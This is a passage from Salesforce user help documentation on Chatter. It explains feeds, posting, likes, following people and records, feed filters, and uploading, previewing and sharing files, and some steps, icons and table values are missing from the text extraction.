Chatter feeds show you posts and comments you and other people make, as well as record updates across your Salesforce
organization.
You must follow people and records to see their updates in your Chatter feeds. Chatter feeds display on profiles, groups, the
Home tab, and on record detail pages.
The feed updates you see depend on how your administrator has configured feed tracking. Sharing rules and field-level security
determine the record changes you see in Chatter feeds. For example, if you dont have access to a record, you dont see any
updates for that record. Typically, you see feed updates for:
Record field changes, like changes to record owner and closed opportunities and cases
Tasks and events
Converted leads
2402
Feeds
Tracked feed updates that are older than 45 days and have no likes or comments are deleted automatically.
See Also:
Using Chatter Feeds
Following People
Following Records
Sharing a Chatter Post
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. If enabled by your
administrator, related list hover links display below Chatter feeds.
Post to Chatter feeds by typing in the text box at the top of a feed and clicking Share.
Update your status by posting to the Chatter feed or on your profile.
View a single feed update.
View the source of a post or comment.
Use filters to view a subset of updates.
Click Comment to comment on feed updates.
Click , which appears on hover, to delete posts and comments. You can delete posts and comments you've made and
posts and comments made by other people on the Chatter feed on your profile, on records you own, and on posts and
comments you've made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete
it. Users with the Modify All Data permission can delete all comments and posts.
Click Unfollow in the Chatter feed to stop following people or records.
Click More to expand a long post or comment.
Like a post to receive email notifications for subsequent comments, or just to show your support. However, you don't get
email notifications if you like a comment. Only the user who posted the comment, receives email notifications for likes on
that comment.
Bookmark a post that interests you. When someone comments on a post you bookmarked, you receive an email notification.
2403
Feeds
Share public posts to your profile or with a group that youre a member of. You can also send a link to the post to other
Chatter users in an email or instant message.
See Also:
Feeds
Following People
Following Records
The People and Records You Auto-Follow Initially
Profile Overview
Chatter Groups Home
Post updates to the feed on your profile, public groups, private groups you belong to, or on records.
When you post to a feed, you can:
Anyone can see posts you make on other people's profiles. People following a record see your post in their Chatter feed. Anyone
who can see a record sees your post on the record's feed.
See Also:
Using Chatter Feeds
Posting an Update
Posting an Update
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Post updates to let people know what you are working on, to ask questions, and share information.
1. On your profile, the Home tab, a group, or in Chatter, click Post at the top of your feed.
2. Type your update in the text box.
You can also add a topic and mention another person.
3. Click Share.
2404
Feeds
Your post appears on your profile and people following you see your post in their Chatter feed. If youre posting on a page of
a private group, only members of the group can see your post.
See Also:
Using Chatter Feeds
Posts in Chatter Feeds
You can view a single Chatter update in a feed for a user, record or group.
In a Chatter feed, click the timestamp displayed below the update, for example, Yesterday at 12:57 AM.
In a Chatter email notification, click the link in the body of the email to view only the related update.
To view the full feed, above the update, click All Updates.
Feed Attachments
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
On a Chatter feed
2405
Feeds
Feed Attachments
On a public group
On a record
See Also:
Attaching a File to a Post or Comment
Attaching a Link to a Post
Searching for Files to Attach to a Chatter Feed
Downloading and Previewing a File in a Chatter Feed
File Size Limits in Salesforce
2406
Feeds
Share files and links from Salesforce or from your computer with people by attaching them to posts or comments.
You can attach all file types, including Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image
files, audio files, and video files. The maximum file size is 2 GB.
When you attach a file, consider the following:
When a file is posted to a feed, everyone in your company can see it even if the file started out as private. Only files posted
in a private group stay private within that group.
Attaching a file from a group or library creates a reference to the file. If you update a file in Salesforce CRM Content, the
updates are also reflected in the feed.
1. Click File at the top of your feed to attach a file to a post, or Attach File below a comment to attach a file to a comment.
If youre commenting on an update resulting from feed tracking on a file, the Attach File option isnt available.
2. Do one of the following:
Click Select a file from Salesforce to attach a file that someone has already uploaded.
Click Upload a file from your computer to attach new files from your computer.
If you share a URL to a video hosted in the YouTube video community, a video player displays the video in the feed update.
The video player includes a thumbnail preview and the video title. Clicking the thumbnail plays the video in the Chatter feed.
2407
Feeds
When you click the video title or the URL, a new browser window opens the YouTube video community website that
contains the video. Currently, the Chatter video player only works with links to videos hosted in the YouTube video
community.
Sharing lets you quickly copy a public post to your profile or a group.
You can share public Chatter posts that contain text, links, or files to your profile, with a group, or using a link to the post.
When you share a post, keep in mind:
You can share a post to your own profile, but not to another persons profile.
You can share the original post, including any files and attachments, but you cant share any comments or likes.
You can comment on the shared post, but you cant edit a shared post.
You cant share feed tracked items and custom feed items, such as approvals, dashboard snapshots, or case interactions.
You can only share posts with a group youre a member of.
You can share a post to a group that allows customers. However, customers and other group members cant share posts
from a private group.
Only Chatter users inside your company can see a post that you shared using a link in an email or instant message.
When someone shares your post, you receive an email notification. To change your email notifications, click Your Name >
Setup > My Chatter Settings > Chatter Email Settings.
See Also:
Sharing a Chatter Post with a Group
Sharing a Link to a Chatter Post
Sharing a Chatter Post to Your Profile
Copy a public post to your profile to share it with the people who follow you.
You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard
snapshots, or case interactions.
1.
2.
3.
4.
2408
Feeds
5. Click Share.
The shared post appears in the Chatter feed on your profile.
You can share posts with a group that youre a member of.
You can share public posts, but you cant share feed tracked items and custom feed items, such as approvals, dashboard
snapshots, or case interactions.
1.
2.
3.
4.
5.
6. Click Share.
The shared post appears in the feed of the group.
Share a post with other Chatter users via email or instant message.
When sharing a link to a post, keep in mind:
1.
2.
3.
4.
2409
Feeds
After you click Like on a post, you receive email notifications if others comment on that post. If you click Like on a comment,
only the user who posted the comment receives an email notification, but you receive an email notification for any subsequent
comments.
To stop liking a post or a comment, click Unlike. When you stop liking a post or a comment, you don't receive email
notifications for subsequent comments or likes.
View the profiles of others who have liked a post by clicking their name at the bottom of the post or comment, for example,
John Smith likes this.
If more than three people like a post, click the link to see the full list; for example, You, John Smith, and 2 others like
this. From that list, you can follow or stop following people.
Likes on comments show how many people have liked the comment, for example, 1 person or 7 people. To see their
names, click the link.
View the source of a post or comment in a feed, for example, Yesterday at 12:57 AM via Chatter for BlackBerry. This link
displays when a person posts to a feed using a Chatter Mobile client.
The Sort by drop-down list at the top-right of your Chatter feed sorts the feed by most recent posts or most recent post and
comments.
1. Click Sort by at the top-right of your Chatter feed.
2. Select Post Date to sort by most recent posts, or Post & Comment Date to sort by posts with the most recent comments.
Your feed is sorted by Post & Comment Date by default. You can toggle between sorting by Post Date and Post &
Comment Date at any time.
Tip: If you want to keep track of a particular post, use bookmarks. Bookmarks help you find a post quickly, even if
the post doesnt have any recent comments.
2410
Feeds
Feed Filters
Feed Filters
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Feed filters display a subset of posts in your Chatter feed on the Chatter tab.
My Chatter
Displays all Chatter feed posts from people you follow, groups you are a member of, and files and records you're following.
Use the drop-down list next to Updates for My Chatter at the top of your feed to further narrow the subset of posts.
The My Chatter feed filter is selected by default.
Bookmarks
Displays your bookmarked posts in your Chatter feed.
All Chatter
Displays all Chatter feed updates with comments from your entire company. This includes posts and updates that have
comments from:
People in your company, the ones you follow and the ones you don't follow
Public groups, including the ones you are not a member of
Private groups you are a member of
Feed updates that your administrator configured for feed tracking, including the ones you're not following. However,
you only see the feed updates for items that you are allowed to access.
Me
Displays both posts others make to your Chatter feed, as well as updates where you have been mentioned.
People
Displays a list of all Chatter users in your company, including the ones you don't follow.
Groups
Displays updates for groups you are a member of. Use the All Groups, Recently Viewed, and My Groups lists to further
narrow the subset of group posts.
Files
Displays files you're following, as well as files posted to people, groups, and records you're following. Use the Recently
Viewed, Files I Own, Files Shared with Me, and All Files lists to further narrow the subset of files.
2411
Feeds
Following People
See Also:
Using Chatter Feeds
Sorting Your Chatter Feed
Following People
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Follow people to see updates in your Chatter feed, including posts, comments, and likes.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.
Click
Follow to follow a person wherever you see the persons name in Chatter, for example on the:
Once you follow people, you see their posts, comments, and likes in your Chatter feed. You can follow a maximum of 500
people and records.
To stop following a person, hover over the persons name and click
you dont see future updates from that person in your Chatter feed.
See Also:
People Overview
Using the Following and Followers Lists
Using Chatter Feeds
2412
Feeds
Following Records
Following Records
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Follow records so you can see updates in your Chatter feed, including field changes, posts, and comments on records.
The field changes you see in your feed are determined by the fields your administrator configured for feed tracking. Updates
to encrypted custom fields don't display in feeds.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.
When you follow a record, you see updates to the record in your Chatter feed.
To stop following a record, click on the record detail page or on the records hover. After you stop following a record, you
dont see future updates to the record in your Chatter feed.
Consider these tips when following records in Chatter:
You dont automatically follow records you create. To automatically follow records you create, go to Your Name > Setup
> My Chatter Settings > My Feeds and select Automatically follow records I create. However, you don't auto-follow
events, tasks, or dashboards in Chatter after you create them.
When you create person accounts, you can only auto-follow the account fields, not the contact fields.
You can follow a maximum of 500 people and records.
See Also:
Customizing Chatter Feed Tracking
Using the Following and Followers Lists
Using Chatter Feeds
2413
Feeds
Starting in June 2010, when your administrator initially turns on Chatter, we help get you started by automatically following
certain users and records in your organization. Who and what you auto-follow differ based on the size of your organization:
If Your Organization
Has:
15 users or fewer
16 or more users
2414
Feeds
If Your Organization
Has:
Note: The auto-follow setting for records only applies to the records that already exist at the time your administrator
turns on Chatter. For any future records you create, auto-follow is disabled by default to reduce the number of updates
you receive in your Chatter feed. However, if you want to receive updates on all future records you create, you can
enable auto-follow in Setup > My Chatter Settings > My Feeds.
See Also:
Following People
Following Records
Using the Following and Followers Lists
Automatically Following Records You Own
Customizing Search Settings
When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field
on those records.
By default, you dont automatically follow the records you create. If you want to automatically follow the records you create,
you must enable auto-follow in your Chatter Settings.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Automatically follow records I create.
3. Click Save.
2415
Feeds
Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't
automatically follow the account. To automatically follow a record when someone else assigns you ownership, your
administrator must enable the owner field on the object for feed tracking.
See Also:
Following People
Following Records
Feeds
The People and Records You Auto-Follow Initially
Your update appears on the mentioned person's profile feed and in their
Me filter.
Chatter emails a notification to the person you mentioned. The person also receives a notification every time somebody
comments on the update where they were mentioned.
2416
Feeds
You receive a warning that the person isn't part of the group.
The mentioned person isn't notified about the update.
The update doesn't appear in the mentioned person's profile feed or in their
Me filter.
The mention appears as a gray link (instead of a blue link). Whenever you see a mention in gray, the mentioned person
isn't able to see the update.
Note: If you're mentioning someone that isn't part of the group but has the Modify All Data permission, the
link still displays as blue. However, the person won't be notified about the update, and you won't receive any
warning.
For example, let's say you create a private group for your sales team and forget to add your coworker Sandy Dunn to the group.
When you post an update to this group and mention Sandy Dunn, she won't be notified about the update and won't see the
update because she's not a member of the private group. If you later add Sandy to the group, Chatter doesn't notify her about
the previous mentions.
See Also:
Feeds
Posting an Update
Adding Topics to Posts and Comments
When you click File and Select a file from Salesforce on a Chatter feed, a list of files you own and have access to from Chatter
and Salesforce CRM Content is displayed. The 25 most recently viewed files are listed by default. When you find the file you
want to attach, click Attach next to that file.
From the Select a File to Attach list you can see and search a certain group of files by clicking a specific filter on the sidebar.
All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including:
2417
Feeds
Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform
actions, share them, and attach them to Chatter feeds.
Attached to Chatter feeds from your computer.
Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.
Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile.
Files I FollowAll files that you're following.
FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The last five groups
youve visited are listed.
FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you
uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If
you're a member of more than five libraries, click More to see a complete list.
Note: Only files from libraries that you're a member of and where you have Post Content to Chatter Feeds
or Manage Library checked in your library permission definition are listed.
See Also:
Attaching a File to a Post or Comment
Downloading and Previewing a File in a Chatter Feed
Removing and Deleting Files and Links from a Chatter Feed
PreviewClick the file thumbnail or click More Actions > Preview next to the file.
DownloadClick More Actions > Download next to the file.
Upload new versionClick More Actions > Upload New Version next to the file.
2418
Feeds
View file detail pageClick the file name or More Actions > View File Details next to the file.
FollowClick Follow next to a file to receive updates about the file in the Chatter feed. Click to stop receiving
updates about the file.
ShareClick More Actions > File Sharing Settings next to the file to share the file with people, groups, or via link.
To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437.
See Also:
Removing and Deleting Files and Links from a Chatter Feed
Following Files
Sharing Files with People
Sharing Files with Groups
Downloading and Previewing a File in a Chatter Feed
Uploading a New Version of a File
Viewing the File Detail Page
Not only can you download and save files posted to Chatter feeds, you can also preview files in your browser without downloading
them.
There are several places in Chatter where you can download and preview files:
Preview.
>
Previewing a file opens it in your browser with the enhanced document viewer. The enhanced document viewer provides the
following capabilities for viewing documents:
In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page.
You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous
Page icons. Continuous scrolling is not available for PowerPoint files.
You can jump directly to a page by entering the page number in the page field and pressing Enter.
From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to preview
the whole page of the document. The fit width icon (
2419
Feeds
From the right-click menu you can choose Full Screen to preview the document in full screen mode, or Exit to exit full
screen mode. The full screen icon (
From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and
use the keys as follows:
Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the
page.
Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25
MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as
generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
See Also:
Feed Attachments
Removing and Deleting Files and Links from a Chatter Feed
There are different ways to remove and delete Chatter files and links depending on where they appear. To remove a file or
delete a link from a Chatter feed, you must delete its post. You can delete posts and comments you've made and posts and
comments made by other people on the Chatter feed on your profile, on records you own, and on posts and comments you've
made in other feeds. Deleted posts disappear from your feed and you can't restore a post after you delete it. To delete a file,
you must go to the file detail page or content detail page. You can only delete a file if you are the file owner. Users with the
Modify All Data permission can delete all comments, posts, files and links.
2420
Files
Files Overview
Remove the file on a Chatter feed by deleting its post. This deletes the post, removes the file from the feed and from the
Notes and Attachments related list, but the file remains in its original location. If the file isn't posted anywhere else, it
goes back to being private, but can be shared again later.
Remove the file on a Chatter feed by clicking Del next to the feed attachment on the Notes and Attachments related list.
This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments
related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached
from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments
related list also removes it from the post, but doesn't delete it from its original location.
See Also:
Feed Attachments
Downloading and Previewing a File in a Chatter Feed
FILES
Files Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Use the Files page to upload, store, find, follow, share, and collaborate on files in the cloud.
2421
Files
files, audio files, and video files. Files up to 2 GB can be uploaded by default. However, your maximum file size is determined
by your organization.
Files are automatically added to the Files list when:
To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437. For more information
about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content,
Salesforce Knowledge, and Documents? on page 3566
See Also:
Using the Files Tab
Overview of Uploading and Sharing Files
Searching for Files
Viewing the File Detail Page
Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments
See all the files you own or have access to and filter a certain group of files.
Search for files using specific filters and by typing terms in the Files search box, or the search box at the top of the page.
Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.
Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.
Follow and receive updates about a file in the Chatter feed. Click
updates about the file.
2422
Files
See Also:
Files Overview
Chatter recommends files that you might want to follow based on the popularity of the file, determined by the number of
people who have viewed or downloaded the file. To see an expanded list of your recommendations, click More in the
Recommendations section. If no recommendations appear, then you already viewed all the recommended files.
See Also:
Viewing Your Recommendations
Following Files
All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe
PDFs, image files, audio files, and video files. Files up to 2 GB can be uploaded by default. However, your maximum file size
is determined by your organization.
2423
Files
Uploading Files
Private Files
A private file is private, not shared with anyone, and you are the file owner. Only file owners and users with the View All
Data permission can see private files. Private files are indicated by the word Private and a lock icon in both the MY FILES
and Files I Own lists and on the file's detail page. You can search for your private files in Chatter and on the Files list.
See Also:
Files Overview
Uploading Files
File Size Limits in Salesforce
Viewing the File Detail Page
Uploading a New Version of a File
Deleting a File from the File Detail Page
Uploading Files
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
You can upload one or more files from the Files page, the Files filter on the Chatter tab, the Files Shared With list on a group,
or the Files Owned by list on a profile.
Depending on your browser and settings, you may only be able to upload one file at a time. For information on browsers that
support uploading multiple files, see Browsers That Support Uploading Multiple Files on page 2425.
1. On the Files page, the Files filter on the Chatter tab, the Files Shared With list on a group, or the Files Owned by list on
a profile, click Upload Files.
2. In your browsers file selection dialog box, select the files you want to upload.
Press CTRL to select multiple files.
Tip: You can also drag the selected files onto the Files list. This is not supported in Internet Explorer.
3. In the Upload to My Files dialog box, view the status of your file uploads.
2424
Files
If you decide not to upload the files youve selected, do one of the following:
a. To cancel uploading a particular file, to the right of the upload status indicator, click .
b. To cancel all remaining files, at the bottom of the dialog box, click Cancel Remaining Uploads.
Youll need to manually delete files that were uploaded before you clicked Cancel Remaining Uploads from the file
detail page.
4. When your files have been uploaded, click Close.
When you upload files from the Files page, the files are private. You must manually share the files with people or groups.
See Also:
Overview of Uploading and Sharing Files
Files Overview
Sharing Files with Groups
Sharing Files with People
Sharing Files via Link
These browsers allow you to upload multiple files from the Files tab, the Files Shared With list on a group, or the Files Owned
by list on a profile. If your browser does not support uploading multiple files, you can still upload files one at a time.
Browser
Additional Requirements
Google Chrome
Mozilla Firefox
Internet Explorer 7, 8, 9
Version 5.1.x
See Also:
Uploading Files
Using the Files Tab
2425
Files
Description
All Files
Recently Viewed
MY FILES
All of the files you own, files shared with you, and files you
follow.
Files I Own
Only files that have been shared with you either by a private
share or a public post to your profile.
Files I Follow
FILES IN MY GROUPS
FILES IN MY LIBRARIES
See Also:
Using the Files Tab
Searching for Files
Clicking Files displays Chatter and Salesforce CRM Content files you own and have access to, including files posted to feeds.
The 25 most recently viewed files are listed by default. You can see and search a certain group of files by clicking a specific
filter on the sidebar. The search results are filtered based on the terms entered.
All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including:
Files that have been shared with you
2426
Files
Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform
actions, share them, and attach them to Chatter feeds.
Attached to Chatter feeds from your computer.
Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.
Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile.
Files I FollowAll files that you're following.
FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The last five groups
youve visited are listed.
FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you
uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If
you're a member of more than five libraries, click More to see a complete list.
You can also search for feeds, files, groups, and people by entering search terms in the search box on the top of the page.
The Files list doesn't include:
Search supports several file types and has limits on file sizes. If a file exceeds the maximum size, the text within the file isn't
searched, but the file's name, description, type, and owner are.
File Type
File Extensions
HTML
5 MB
25 MB
PPT
25 MB
RTF
.rtf
5 MB
2427
Files
File Type
File Extensions
Text
5 MB
Word
25 MB
XML
.xml
5 MB
XLS
5 MB
See Also:
Overview of Uploading and Sharing Files
Viewing the File Detail Page
Open a file detail page by clicking a file name on a Chatter feed, on a files list, on a file hover, or by clicking More Actions >
Preview next to the file in a feed. On the file detail page, you can see details about Chatter files and Salesforce CRM Content
files.
From a file detail page, you can:
View the file without downloading it. If the file has multiple pages, click on the enhanced document player or use the
arrow keys on your keyboard to see each page, zoom in or out, or change the preview width and screen size. Files owners
and anyone with access to the file can preview it.
Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than
25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear
as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
Click
Click
File Sharing Settings to share a file with people, groups, or via file link, or see the Sharing Settings. Anyone
who can see a file can share it.
Click Make private on the Sharing Settings dialog box to remove the file and file link, if applicable, from everywhere it's
been shared. Or click Restrict access if the file originated in a Salesforce CRM Content library to remove the file from
everywhere it's been shared except the library. Only owners and users with the Modify all Data permission can make a
file private ( ) or restrict access.
).
Download to open or save the file. Anyone who can see a file can download it.
Click Upload New Version to update the file with a newer version. Only file owners, collaborators, and users with the
Modify all Data permission can upload a new version of a file.
2428
Files
Click Edit Details to edit the name or description of the file. Only file owners, collaborators, and users with the Modify
All Data permission can edit file details.
Click Delete to delete the file. Only file owners and users with the Modify All Data permission can delete files.
See who the file is owned by and when it was last modified.
See the file's description and click the edit icon ( ) to edit the description, or add a description by clicking Add Description.
See the file's current version number and click Show all versions to see the file's version history.
Click Follow to follow the file or click to stop following the file.
See who's following the file.
See who and what locations the file is shared with.
If the file originated in Salesforce CRM Content, click Go to Content Detail Page to see the content detail page of that
file. Most actions performed on files that originated in Salesforce CRM Content must be done on the file's content detail
page instead of the file detail page.
Click the Files or Chatter links at the top of the page to go to the Files list or the Chatter page.
See other files that people who viewed this file also viewed. If no other files have been viewed by the same people, the
People Also Viewed section doesn't appear on the file detail page.
See Also:
Files Overview
Editing File Details
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Overview of Uploading and Sharing Files
See Also:
Files Overview
Viewing the File Detail Page
2429
Files
Share a file privately so only specific Chatter users in your company can see it. Anyone who can see a file can share it.
To share a file with one or more Chatter users in your company:
1. Start by sharing the file from one of these locations:
Next to the file on the Files page, the Files Owned by list, or the Group Files listClick
On a file hoverClick
Share File then click People on the Sharing Settings dialog box.
2. Type the name of the person you want to share the file with and click the name to select it. They are given collaborator
permission by default which lets them view, download, share, change permission, edit the file, and upload new versions.
3. Optionally, select Viewer to give the person permission to view, download, and share files.
4. Optionally, share with more than one person by entering another name.
5. Optionally, add information to the message that recipients receive.
6. Click Share and Close. Recipients automatically receive a Chatter message on their My Messages page on the Chatter
tab. The message lets the recipient know you shared a file with them and any additional information you provided. If
they're already receiving Chatter email notifications, they'll also automatically be notified of new messages.
Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not
posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your
company, it retains the your company icon (
On the Sharing Settings dialog box, click
) and all Chatter users in your company can find and view it.
next to a person's or group's name to stop sharing the file with them.
Note:
Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box
if they are part of a content pack or delivery.
2430
Files
The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.
See Also:
Sharing Files with Groups
Sharing Files via Link
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions
Chatter Messages Overview
Share a file with a private group so only members of that group can see it or share a file with a public group so members of
that group and all Chatter users in your company can see it. Anyone who can see a file can share it.
To share a file with one or more Chatter groups:
1. Share the file from one of these locations:
Next to the file on the Files page, the Files Owned by list, or the Group Files listClick
On a file hoverClick
Share File then click Groups on the Sharing Settings dialog box.
2. Type the name of the group you want to share the file with and click the name to select it. Group members are given viewer
permission by default which lets them view, download, and share files.
3. Optionally, select Collaborator to give group members permission to view, download, share, change permission, edit the
file, and upload new versions.
4. Optionally, share with more than one group by entering another name.
5. Optionally, add a message that will be posted with the file. If you don't add a message, a generic message is used.
6. Click Share and Close. The file is posted to each group you shared it with.
A private file shared with a private group becomes a privately shared file and displays the privately shared icon ( ). The file
is posted to the group's feed and only the file owner and group members can find and view the file. Any file shared with a
public group is viewable by all users in your company, displays the your company icon (
On the Sharing Settings dialog box, click
next to a person's or group's name to stop sharing the file with them.
2431
Files
Note:
Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box
if they are part of a content pack or delivery.
The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.
See Also:
Sharing Files with People
Sharing Files via Link
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions
Share a file with anyone by creating a file link and sending it via email or IM. Creating a link generates an encrypted URL
that you can send to any recipient, such as leads, customers, partners, and coworkers, inside or outside of your company. When
your recipients click the link, they see a web-based version of the file that they can easily view and download. Sharing via link
is on by default for most organizations that have Chatter. Administrators can enable sharing via link by enabling these
permissions:
1. Click Your Name > Setup > Customize > Content Deliveries > Settings. Select Enable content deliveries and
Enable Chatter file links.
2. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set, click System Permissions, and
select Create and Share Links to Chatter Files.
3. Click Your Name > Setup > Manage Users > Profiles. Select a profile, click Edit. In General User Permissions, select
Create and Share Links to Chatter Files. You don't need this permission for files in a shared Salesforce CRM
Content library. Instead, complete steps 1 and 2 and then ensure the user is a library member and that Deliver Content
is checked in the library permission definition.
Create and share a file link:
1. Start by sharing the file from one of these locations:
2432
Files
On the Files pageClick Upload a file, click Browse and select a file from your computer, then click Share via link
> Upload.
On the Home pageClick Create New > File, click Browse and select a file from your computer, then click Share
via link > Upload.
Next to the file on the Files page, the Files Owned by list, or the Group Files listClick
> Share via link.
Next to the file in a feed or on a file hoverClick More Actions > File Sharing Settings, then click Anyone with link
from the Share with list.
2. Click Copy if available (or copy the link manually), and paste the link into an email or IM. File link recipients can only
view and download files. They can't be collaborators.
Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not
posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your
company, it retains the your company icon (
On the Sharing Settings dialog box, click
access the file.
) and all Chatter users in your company can find and view it.
next to a link to stop sharing it. Anyone with the link will no longer be able to
Note:
Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.
See Also:
Sharing Files with People
Sharing Files with Groups
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions
The Shared With list on a file detail page shows you the file owner and who the file is shared with.
Click Show All to view the full list. From the Sharing Settings dialog box you can:
2433
Files
See who the file is shared with and their permission: owner, collaborator, viewer, or no access.
Click People on the Sharing Settings dialog box to share the file with specific people.
Click Groups on the Sharing Settings dialog box to share the file with specific groups.
Click Anyone with link on the Sharing Settings dialog box to create and share a file link.
Click Make private to remove the file and file link, if applicable, from everywhere it's been shared. Or click Restrict access
if the file originated in a Salesforce CRM Content library to remove the file from everywhere it's been shared except the
library. Only owners and users with the Modify all Data permission can make a file private ( ) or restrict access.
On the Sharing Settings dialog box, click next to a person's or group's name to stop sharing the file with them.
Click Next and Previous to see more of the list, or click Done to close the window.
See Also:
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions
File owners and users with the Modify All Data permission can make a file and file link, if applicable, private ( ) if they
decide they don't want it to be shared anymore. Making a file private removes it from any posts it's attached to and removes
it from everywhere it's been shared. Only the owner and users with the Modify All Data permission will have access to it.
Alternately, file owners and users with the Modify All Data permission can restrict access to a file that originated in a
Salesforce CRM Content library to remove the file from everywhere it's been shared, except the library.
1. From the file detail page of the file you want to make private or restrict access, click either
Share File > Sharing Settings
or Show All on the Shared With list.
2. On the Sharing Settings dialog box, click Make private (or Restrict access if the file originated in a Salesforce CRM
Content library).
3. On the confirmation dialog box, click Make private (or Restrict access).
See Also:
Files Overview
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Viewing Where a File is Shared
File Sharing Settings and Permissions
2434
Files
Upload a new version of a file that was previously uploaded to My Files or attached to a Chatter feed. After you upload the
new version, it is available on the Files list and in Chatter. For example, upload a new version of a file if the contents of the
previous version have changed. When you upload a new version of a file, a notification is posted to your Chatter feed. Anyone
following the previous version also gets a notification in their Chatter feed. If the file is private, only the file owner sees the
notification. The notification of the new version includes a file preview, the ability to download, and the file description if
provided. Uploading a new version replaces all previous versions in Chatter, but previous versions are still available by clicking
Show all versions on the file detail page.
To upload a new version:
1. Upload a new version from any of these locations:
On a file hoverClick
Only file owners, collaborators, and users with the Modify all Data permission can upload new versions. To learn
who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437.
